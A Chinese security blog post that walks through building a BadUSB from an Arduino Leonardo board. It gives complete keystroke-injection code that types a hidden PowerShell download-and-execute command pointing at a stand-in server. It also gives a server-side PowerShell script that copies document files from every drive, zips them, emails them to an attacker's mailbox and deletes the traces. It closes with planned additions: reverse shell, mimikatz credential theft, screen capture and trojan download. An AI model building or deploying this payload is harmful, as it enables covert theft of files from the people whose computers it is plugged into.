猫头鹰
信安舆情早知道

BadUSB小尝试

0x0 前言

14年黑帽大会上BadUSB火了一把,自己一直想做这个东西,看了这个帖《BadUSB原理浅析及制作指南》,发现并不用去逆向固件,直接使用Arduino的开发板就能实现效果,感觉并不是很难,所以就开始动手了。但是按照原文实践的时候,又出现了很多的问题,导致效果不是很好,所以自己写个教程,改进了一下,也算是一个学习的历程:

0x1 购买硬件

BS Micro pro micro leonardo Arduino 开发板

1473099374

淘宝链接:

https://item.taobao.com/item.htm?spm=a230r.1.14.74.LGB3UB&id=44364709185&ns=1&abbucket=12#detail

和店家商量之后,发现他们有3款可以模仿键鼠的开发版,就选用了上述的版子。

一共买了两块,加上运费不到100rmb

0x2 整体流程

看完帖子《BadUSB原理浅析及制作指南》,之后跟着里面的步骤实践了一下(这里主要使用下载远程代码并执行的方式,后边还有其他的方式):

现在梳理一下其中的流程:

空白开发板 -> 写入arduino代码 -> 包含下载远程服务器端代码的arduino开发板

将写好代码的开发板插入目标电脑 -> 通过执行开发板中的代码(windows powershell)下载远程服务端的代码 -> (此时可以拔出开发板)-> 系统执行远程的代码

对目标电脑的要求:

  • 联网
  • 没有锁屏
  • Windows操作系统(实测Win7 win8 win10)(由于XP没有powershell,所以不行)

0x3 写入开发板中的Arduino代码

实际上,这里就是动作就是通过开发板,模仿键盘的敲击,使用快捷键,执行一条Windows Powershell的指令,该指令的目的:下载并运行远程的Windows Powershell代码。

本人使用的Kali-Linux,所以自带Arduino IDE:

1

打开Arduino IDE后

选择:Tools -> Board -> Arduino Leonardo

Tools -> Serial Port -> /dev/ttyACM0

然后会在右下角看到:

1-1

然后写入代码:

1-2

(点击左上角的对勾,验证代码并未出错)

void setup() { 
 
 delay(3500);
 Keyboard.press(KEY_LEFT_SHIFT);
 Keyboard.releaseAll();
 Keyboard.press(KEY_LEFT_CTRL);
 Keyboard.press(KEY_ESC);
 Keyboard.releaseAll();
 delay(500);
 
 Keyboard.press(KEY_CAPS_LOCK); // 打开大小写的目的是为了避免中文输入的干扰
 Keyboard.releaseAll();
 delay(500);
 
 delay(1500);
 Keyboard.print("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://ABC.com/main.ps1');"); // 这里是你服务器上的代码
 
 delay(500);
 Keyboard.press(10);
 Keyboard.releaseAll();
 delay(500);
 Keyboard.press(10);
 Keyboard.releaseAll();
 }
void loop() {}

代码主要使用Arduino的Keyboard库,学习使用可以参见以下链接:

Keyboard.press()

主要使用的函数是:

Keyboard.press( The keyValue ) // 按下一个按键
Keyboard.release( The keyValue ) // 释放一个按键
Keyboard.releaseAll() // 释放所有按键
Keyboard.print( String ) // 敲击按键

一些特定按键的值,已经被定义好了:

https://www.arduino.cc/en/Reference/KeyboardModifiers

如果有的按键不在里面,用对应的ascii码的值就好了,比如按下Enter就是Keyboard.press(10);

然后就可以烧入芯片了:

1-3

这样的话,芯片内部的代码就算是完成了。

有两个要注意的地方:

  • 注意需要使用delay(500)去停顿

因为都是模拟真正的输入,所以弹出窗口什么的都需要时间,有的电脑会卡,也需要时间,所以就要用delay(500)去延迟,这个可以自己体验,搞一下就知道为什么了。

  • 中文输入法的坑 (巨坑)

用户会安装中文的输入法,如果在输入那段powershell的时候在用中文,肯定会JJ。(这个自己写完,插入芯片,体验一下你就知道了)

所以在输入之前先打开大小写锁定键,默认全部大写,可能会变成这样:

POWERSHELL -WINDOWSTYLE HIDDEN IEX (NEW-OBJECT NET.WEBCLIENT).DOWNLOADSTRING(‘HTTP://ABC.COM/MAIN.PS1’);

所以如果远程是Linux的服务器,就要注意那个main.ps1的文件名大小写了,服务器最好输入IP(如http://123.123.123.123/main.ps1),不要用域名。

0x4 远程服务器上的代码

虽然芯片里也可以写入复杂的命令,但是为了方便和更隐蔽,所有的功能都在这里实现。

要注意:

芯片只是执行服务端代码的一个桥梁。

让目标机插入芯片,意味着执行远程的代码。

这里就需要使用WindowsPowershell编写,不会的话,可以现查现学:

我自己在服务端实现的几个功能:

获取特定文件

################################################
#################### Get files from system
######################################################
 
$folderDateTime = (get-date).ToString('y-M-d HHmmss')
# 在用户的主目录下,生产一个临时文件夹,用来存放收集到的文件
$userDirName = (Get-ChildItem env:userprofile).value + 'Report ' + $folderDateTime
 
$fileSaveDir = New-Item ($userDirName) -ItemType Directory
 
$copyToDir = New-Item $fileSaveDir'Doc' -ItemType Directory
 
$fileType = "*.txt", "*.doc", "*.docx", "*.xls", "*.xlsx", "*.conf", "*.pdf"
 
# 获取系统盘符,并且遍历盘符下所有的指定类型文件,复制到创建的临时目录下
$systemDiskName = [Environment]::GetLogicalDrives()
 
foreach ($disk in $systemDiskName )
{
 foreach ($type in $fileType)
 {
 Dir $disk -filter $type -recurse | ForEach-Object {Copy-Item $_.FullName $copyToDir}
 }
}

实现一个压缩函数

################################################
######################################################
#################### define a zip function
######################################################
$EmlPath = $userDirName
$ZipPath = (Get-ChildItem env:userprofile).value + 'report.zip'
 
[System.Reflection.Assembly]::Load("WindowsBase,
 Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35")
 
if (Test-Path($ZipPath)) { Remove-Item $ZipPath }
 
 
$files = Get-ChildItem $EmlPath -Recurse
echo "All files : " + $file
if($files.Count -eq 0) { exit }
 
$pkg=[System.IO.Packaging.ZipPackage]::Open($ZipPath,
 [System.IO.FileMode]"OpenOrCreate", [System.IO.FileAccess]"ReadWrite")
 
 
ForEach ($file In $files)
{
 $uriString="/" +$file.Name
 $partName=New-Object System.Uri($uriString, [System.UriKind]"Relative")
 $pkgPart=$pkg.CreatePart($partName, "application/zip",
 [System.IO.Packaging.CompressionOption]"Maximum")
 $bytes=[System.IO.File]::ReadAllBytes($file.FullName)
 $stream=$pkgPart.GetStream()
 $stream.Seek(0, [System.IO.SeekOrigin]"Begin");
 $stream.Write($bytes, 0, $bytes.Length)
 $stream.Close()
 Remove-Item $file.FullName -Recurse
}
 
 
$pkg.Close()

因为Win7下的powershell不能使用Compress-Archive,所以为了通用性,就自己实现一个函数

如何使用PowerShell压缩和解压ZIP文件

将压缩包发送到指定邮箱

################################################
################### send out files by email
######################################################
$SMTPServer = 'smtp.qq.com'
 
$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
 
$SMTPInfo.EnableSsl = $true
 
$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('123456@qq.com', 'qq邮箱的SMTP密码(不是QQ密码)');
 
$ReportEmail = New-Object System.Net.Mail.MailMessage
 
$ReportEmail.From = '123456@qq.com'
 
$ReportEmail.To.Add('123456@qq.com')
$ReportEmail.Subject = 'files'
 
$ReportEmail.Body = 'the files from ' + [System.Net.DNS]::GetHostByName('').HostName
 
$ReportEmail.Attachments.Add($ZipPath)
 
$SMTPInfo.Timeout = 1000000
$SMTPInfo.Send($ReportEmail)
$ReportEmail.Attachments.Dispose()
 
#############################################################
#################### delete temp files and directory
##############################################################
# 最后删除临时文件
remove-item $fileSaveDir -recurse
remove-item $zipFile

这里需要用邮箱接收,所以设置好使用邮箱的SMTP功能,这里其实比较坑:

拿QQ邮箱举例吧:

1-4-768x531

2-768x500

然后可以去试一下,用powershell发个邮件到你的邮箱,看看能不能收到。

另外为了方便调试powershell,可以使用windows下自带的:WindowsPowerShell ISE

1-5-768x580

0x5 视频演示

BadUSB

0x6 接下来做什么

上述Windows下偷取文件的功能存在一个Bug:

有的电脑上文件太大,可能几个G,所以要把大的压缩包拆分成小的,分别发送
其实还可以有很多的玩法:

  • 反弹shell
  • 实现mimikatz等抓取hash
  • 录屏、截屏
  • 添加用户、开端口
  • 下载病毒、木马
  • ……

到时候完成了会在这里更新的

(未完待续)

 

*本文作者:attacker2001  Mottoin原创投稿,未经允许禁止转载!

转载请注明来自MottoIN,未经允许不得转载!MottoIN » BadUSB小尝试

分享到:更多 ()

评论 2

评论前必须登录!

 

  1. #1

    a

    云袭20012个月前 (12-18)

MottoIN 换一个角度看安全

寻求报道联系我们